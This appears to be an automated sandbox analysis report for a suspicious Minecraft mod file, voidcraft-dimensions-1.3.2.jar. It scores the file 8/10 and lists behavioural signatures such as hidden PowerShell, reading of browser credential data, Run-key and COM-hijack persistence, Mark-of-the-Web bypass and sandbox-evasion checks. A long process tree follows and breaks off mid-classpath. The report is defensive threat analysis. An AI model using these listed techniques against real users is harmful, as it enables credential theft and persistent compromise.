Analysis
- user interaction
yes - max time kernel
1199s - max time network
1197s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
06/07/2026, 14:37
General
- Target voidcraft-dimensions-1.3.2.jar
- Size 69.7MB
- Sample260706-ry6f3agt21
- SHA256 149a8e981d3314e759d6d1bbd868aa3c73295232b6b7f32961ea67113fac7ad6
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Checks computer location settings 2 TTPs 17 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 36 IoCs
- Loads dropped DLL 64 IoCs
- Modifies system executable filetype association 2 TTPs 19 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 9 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 1 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 3 IoCs
Attempt to gather information on host's network.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Checks system information in the registry 2 TTPs 28 IoCs
System information is often read in order to detect sandboxing environments.
- Drops file in System32 directory 19 IoCs
- Enumerates processes with tasklist 1 TTPs 8 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 8 IoCs
- UPX packed file 9 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 9 IoCs
- Kills process with taskkill 41 IoCs
- Modifies Internet Explorer settings 1 TTPs 22 IoCs
- Modifies data under HKEY_USERS 4 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- NTFS ADS 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 51 IoCs
- Suspicious use of SetWindowsHookEx 46 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 8 IoCs
Processes
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\voidcraft-dimensions-1.3.2.jar1⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Downloads MZ/PE file
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2008 -prefsLen 27099 -prefMapHandle 2012 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {520a1b67-a85c-42fd-af7d-9b5662bbc1f4} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2480 -prefsLen 27135 -prefMapHandle 2484 -prefMapSize 270279 -ipcHandle 2492 -initialChannelId {875ac9d6-767a-40b1-b5cd-ac0f83d9ff0e} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3736 -prefsLen 27276 -prefMapHandle 3740 -prefMapSize 270279 -jsInitHandle 3744 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3752 -initialChannelId {68794a2d-cae7-4619-bf5b-b21178ded721} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3928 -prefsLen 27276 -prefMapHandle 3932 -prefMapSize 270279 -ipcHandle 3948 -initialChannelId {1ec82949-3312-4d83-baea-8f62760887f4} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3128 -prefsLen 34775 -prefMapHandle 4556 -prefMapSize 270279 -jsInitHandle 4560 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2928 -initialChannelId {081940dc-04a2-4d2e-b0ec-3c73295b826b} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4800 -prefsLen 34931 -prefMapHandle 4804 -prefMapSize 270279 -ipcHandle 4808 -initialChannelId {4806666e-b439-49ae-98c5-95d26cb573b9} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5124 -prefsLen 32952 -prefMapHandle 4936 -prefMapSize 270279 -jsInitHandle 2812 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5156 -initialChannelId {45452634-8032-4016-9890-01d3045cc57c} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5164 -prefsLen 32952 -prefMapHandle 5168 -prefMapSize 270279 -jsInitHandle 5172 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5180 -initialChannelId {17bc4878-5a6b-4d22-be21-eeac4a916330} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5140 -prefsLen 32952 -prefMapHandle 5516 -prefMapSize 270279 -jsInitHandle 5520 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5448 -initialChannelId {97b67ab4-1494-424a-8ec1-16e03aa3a299} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6180 -prefsLen 33071 -prefMapHandle 6184 -prefMapSize 270279 -jsInitHandle 6188 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6196 -initialChannelId {716e6036-b001-459c-95a3-4815d561662c} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6624 -prefsLen 33071 -prefMapHandle 6628 -prefMapSize 270279 -jsInitHandle 6504 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6636 -initialChannelId {4c15397d-8a5b-497c-aa2d-2ac3c0b5966a} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7064 -prefsLen 34289 -prefMapHandle 3132 -prefMapSize 270279 -jsInitHandle 3136 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4708 -initialChannelId {1e1b3fed-524c-405a-b57f-1bd5aedd73fd} -parentPid 3716 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3716" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab3⤵
-
-
C:\Users\Admin\Downloads\TLauncher-Installer-1.9.5.1.exe"C:\Users\Admin\Downloads\TLauncher-Installer-1.9.5.1.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe"C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:3969818 "__IRAFN:C:\Users\Admin\Downloads\TLauncher-Installer-1.9.5.1.exe" "__IRCT:3" "__IRTSS:26673860" "__IRSID:S-1-5-21-540052884-2969440504-464782435-1000"4⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\BrowserInstaller.exe"C:\Users\Admin\AppData\Local\Temp\BrowserInstaller.exe" /NOINIT /S:C:\Users\Admin\AppData\Local\Temp\setuparguments.ini5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe"C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" /NOINIT /S:C:\Users\Admin\AppData\Local\Temp\setuparguments.ini __IRAOFF:3839250 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\BrowserInstaller.exe" "__IRCT:3" "__IRTSS:3869932" "__IRSID:S-1-5-21-540052884-2969440504-464782435-1000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Roaming\.minecraft\TLauncher.exe"C:\Users\Admin\AppData\Roaming\.minecraft\TLauncher.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Roaming\.minecraft\TLauncher.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -Dfile.encoding=windows-1252 -jar C:\Users\Admin\AppData\Roaming\.minecraft\TLauncher.exe7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\.tlauncher\starter\jre_default\jre-21.0.11-windows-x64\bin\java.exeC:\Users\Admin\AppData\Roaming\.tlauncher\starter\jre_default\jre-21.0.11-windows-x64\bin\java.exe -Dsun.java2d.uiScale.enabled=false -Xmx1536m -Dfile.encoding=UTF8 -Djava.net.preferIPv4Stack=true --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.time=ALL-UNNAMED --add-opens=java.desktop/java.awt=ALL-UNNAMED --add-opens=java.desktop/sun.awt.image=ALL-UNNAMED --add-opens=java.desktop/sun.java2d=ALL-UNNAMED --add-opens=java.desktop/java.awt.color=ALL-UNNAMED --add-opens=java.desktop/java.awt.image=ALL-UNNAMED --add-opens=java.desktop/com.apple.eawt=ALL-UNNAMED --add-opens=java.base/java.util.regex=ALL-UNNAMED --add-opens=java.desktop/javax.swing=ALL-UNNAMED --add-opens=java.desktop/java.beans=ALL-UNNAMED --add-opens=javafx.web/com.sun.webkit.network=ALL-UNNAMED --add-opens=javafx.web/javafx.scene.web=ALL-UNNAMED --add-opens=javafx.web/com.sun.webkit=ALL-UNNAMED --add-opens=javafx.web/com.sun.webkit.event=ALL-UNNAMED -cp C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\annotations-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\aopalliance-1.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\arns-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\auth-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\aws-core-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\aws-query-protocol-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\aws-xml-protocol-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\checker-qual-3.12.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\checksums-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\checksums-spi-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\commons-compress-1.23.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\commons-io-2.11.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\commons-lang3-3.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\commons-logging-1.1.1.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\commons-logging-api-1.1.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\commons-vfs2-2.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\crt-core-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\desktop-common-util-1.268.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\DiscordIPC-0.5.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\dnsjava-2.1.8.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\endpoints-spi-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\error_prone_annotations-2.18.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\eventstream-1.0.1.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\failureaccess-1.0.1.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\filters-2.0.235.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\gson-2.13.2.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\guava-31.0.1-jre.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\guice-7.0.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\guice-assistedinject-7.0.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\http-auth-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\http-auth-aws-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\http-auth-aws-eventstream-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\http-auth-spi-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\http-client-spi-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\http-download-1.268.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\httpclient5-5.6.1.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\httpclient5-fluent-5.6.1.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\httpcore5-5.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\httpcore5-h2-5.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\identity-spi-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\j2objc-annotations-1.3.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jackson-annotations-2.13.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jakarta.inject-api-2.0.1.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\java-image-scaling-0.8.6.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-base-21.0.11-win.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-base-21.0.11.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-controls-21.0.11-win.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-controls-21.0.11.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-graphics-21.0.11-win.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-graphics-21.0.11.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-media-21.0.11-win.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-media-21.0.11.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-swing-21.0.11-win.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-swing-21.0.11.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-web-21.0.11-win.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javafx-web-21.0.11.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\javax.annotation-api-1.3.2.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jaxb-api-2.3.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jaxb-core-2.3.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jaxb-impl-2.3.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jcl-over-slf4j-1.7.25.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jopt-simple-5.0.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\json-20230227.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\json-utils-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\jsr305-3.0.2.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\junixsocket-common-2.6.2.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\junixsocket-native-common-2.6.2.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\junrar-0.7.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\log4j-1.2.17.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\logback-classic-1.2.10.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\logback-core-1.2.10.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\lombok-1.18.30.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\maven-scm-api-1.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\maven-scm-provider-svn-commons-1.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\maven-scm-provider-svnexe-1.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\metrics-spi-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\MinecraftServerPing-1.0.2.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\mockserver-netty-no-dependencies-5.14.0.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\modpack-dto-2.282.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\picture-bundle-3.73.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\plexus-utils-1.5.6.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\profiles-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\protocol-core-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\reactive-streams-1.0.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\regexp-1.3.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\regions-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\retries-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\retries-spi-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\s3-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\sdk-core-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\skin-api-1.7.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\slf4j-api-1.7.25.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\statistics-dto-1.73.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\third-party-jackson-core-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\tlauncher-resource-1.6.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\utils-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\utils-lite-2.40.4.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\dependencies\xz-1.9.jar;C:\Users\Admin\AppData\Roaming\.tlauncher\starter\original-TLauncher-2.9371.jar; org.tlauncher.tlauncher.rmo.TLauncher -starterConfig=C:\Users\Admin\AppData\Roaming\.tlauncher\starter\starter.json -requireUpdate=false -currentAppVersion=2.9371 -starterDomainAvailabilityV1=C:\Users\Admin\AppData\Roaming\.tlauncher\starter\domainAvailability.json -country=${country} "-starterJVM=C:\Program Files\Java\jre-1.8\bin\javaw.exe" -starterWorkingDirectory=C:\Users\Admin\Downloads -starterJarFile=C:\Users\Admin\AppData\Roaming\.minecraft\TLauncher.exe -starterFileEncoding=windows-1252 -runVersionWithServer=empty8⤵
- Checks computer location settings
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- System Time Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C "chcp 437 & wmic CPU get NAME"9⤵
-
C:\Windows\system32\chcp.comchcp 43710⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME10⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C "chcp 437 & cmd.exe /c set processor"9⤵
-
C:\Windows\system32\chcp.comchcp 43710⤵
-
-
C:\Windows\system32\cmd.execmd.exe /c set processor10⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C "chcp 437 & dxdiag /whql:off /t C:\Users\Admin\AppData\Roaming\.tlauncher\logs\tlauncher\dxdiag.txt"9⤵
-
C:\Windows\system32\chcp.comchcp 43710⤵
-
-
C:\Windows\system32\dxdiag.exedxdiag /whql:off /t C:\Users\Admin\AppData\Roaming\.tlauncher\logs\tlauncher\dxdiag.txt10⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C "chcp 437 & wmic qfe get HotFixID"9⤵
-
C:\Windows\system32\chcp.comchcp 43710⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic qfe get HotFixID10⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start "Open path" C:\Users\Admin\AppData\Roaming\.minecraft\9⤵
-
-
C:\Users\Admin\AppData\Roaming\.minecraft\runtime\java-runtime-delta\windows\java-runtime-delta\bin\javaw.exeC:\Users\Admin\AppData\Roaming\.minecraft\runtime\java-runtime-delta\windows\java-runtime-delta\bin\javaw.exe "-Dos.name=Windows 10" -Dos.version=10.0 -Xmx10922M -XX:+UnlockExperimentalVMOptions -XX:+UseG1GC -XX:G1NewSizePercent=20 -XX:G1ReservePercent=20 -XX:MaxGCPauseMillis=50 -XX:G1HeapRegionSize=32M -Dfml.ignoreInvalidMinecraftCertificates=true -Dfml.ignorePatchDiscrepancies=true -Djava.net.preferIPv4Stack=true -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump -Xss1M "-Djava.library.path=C:\Users\Admin\AppData\Roaming\.minecraft\versions\Fabric 1.21.11\natives" "-Djna.tmpdir=C:\Users\Admin\AppData\Roaming\.minecraft\versions\Fabric 1.21.11\natives" "-Dorg.lwjgl.system.SharedLibraryExtractPath=C:\Users\Admin\AppData\Roaming\.minecraft\versions\Fabric 1.21.11\natives" "-Dio.netty.native.workdir=C:\Users\Admin\AppData\Roaming\.minecraft\versions\Fabric 1.21.11\natives" -Dminecraft.launcher.brand=minecraft-launcher -Dminecraft.launcher.version=2.3.173 -cp "C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm\9.9\asm-9.9.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-analysis\9.9\asm-analysis-9.9.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-commons\9.9\asm-commons-9.9.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-tree\9.9\asm-tree-9.9.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-util\9.9\asm-util-9.9.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\net\fabricmc\sponge-mixin\0.17.2+mixin.0.8.7\sponge-mixin-0.17.2+mixin.0.8.7.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\net\fabricmc\intermediary\1.21.11\intermediary-1.21.11.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\net\fabricmc\fabric-loader\0.19.2\fabric-loader-0.19.2.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\at\yawk\lz4\lz4-java\1.8.1\lz4-java-1.8.1.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\azure\azure-json\1.4.0\azure-json-1.4.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\github\oshi\oshi-core\6.9.0\oshi-core-6.9.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\google\code\gson\gson\2.13.2\gson-2.13.2.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\google\guava\failureaccess\1.0.3\failureaccess-1.0.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\google\guava\guava\33.5.0-jre\guava